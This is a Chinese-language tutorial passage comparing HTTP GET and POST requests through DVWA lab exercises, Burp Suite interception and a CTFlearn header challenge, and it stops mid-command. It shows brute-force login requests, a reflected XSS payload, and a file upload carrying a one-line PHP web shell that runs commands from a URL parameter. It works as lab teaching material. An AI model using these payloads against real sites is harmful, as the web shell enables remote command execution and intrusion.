初探HTTP请求:当浏览器遇见服务器
基础协议差异可视化
# 典型GET请求
GET /login.php?username=admin&password=p@ssw0rd HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0# 典型POST请求
POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 33username=admin&password=p@ssw0rd
核心差异对比表:
特性 | GET | POST |
---|---|---|
参数位置 | URL查询字符串 | 请求正文 |
数据可见性 | 浏览器历史、服务器日志 | 仅请求正文 |
长度限制 | 约2048字符(浏览器差异) | 无硬性限制 |
缓存特性 | 可缓存 | 不可缓存 |
幂等性 | 是(不应修改数据) | 否 |
DVWA实战:观察两种请求的渗透差异
实验环境搭建
- 启动DVWA(安全级别设为Low)
- 访问"Brute Force"模块
- 分别测试GET/POST表单
GET方式攻击痕迹:
GET /dvwa/vulnerabilities/brute/?username=admin&password=password&Login=Login HTTP/1.1
攻击参数直接暴露在URL中,可在以下位置追踪:
- 浏览器历史记录
- Web服务器访问日志
- 网络设备流量监控
POST方式攻击示例:
POST /dvwa/vulnerabilities/brute/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38username=admin&password=password&Login=Login
虽然隐蔽性稍强,但未加密传输仍可通过:
- 流量抓包工具(如Wireshark)
- 中间人攻击(MITM)
- 客户端存储的Form Data
Burp Suite拦截分析:透视协议本质
拦截配置步骤
- 设置浏览器代理:127.0.0.1:8080
- 启动Burp Suite并开启Proxy拦截
- 分别提交GET/POST表单
GET请求捕获实例:
GET /vulnerabilities/xss_r/?name=<script>alert(1)</script> HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=low
POST请求捕获对比:
POST /vulnerabilities/upload/ HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 285------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="uploaded"; filename="test.php"
Content-Type: application/x-php<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--
关键发现:
- GET请求直接将攻击载荷暴露在URL中
- POST请求可通过多种编码方式隐藏攻击特征
- 文件上传等复杂操作必须使用POST
CTFlearn实战:HTTP基础题型破解
题目:HTTP Basic (CTFlearn Problem 104)
题干描述:
访问 http://165.227.106.113/header.php 获取flag
解题过程:
-
初始访问返回403 Forbidden
-
使用curl探测响应头:
curl -I http://165.227.106.113/header.php
发现提示:
HTTP/1.1 403 Forbidden Hint: Missing required header
-
使用Burp Suite重放请求,观察服务器预期:
GET /header.php HTTP/1.1 Host: 165.227.106.113
-
尝试添加常用头部:
curl -H "User-Agent: CTFlearn" http://165.227.106.113/header.php
-
通过迭代测试发现需要特定头部:
curl -H "Referer: ctflearn.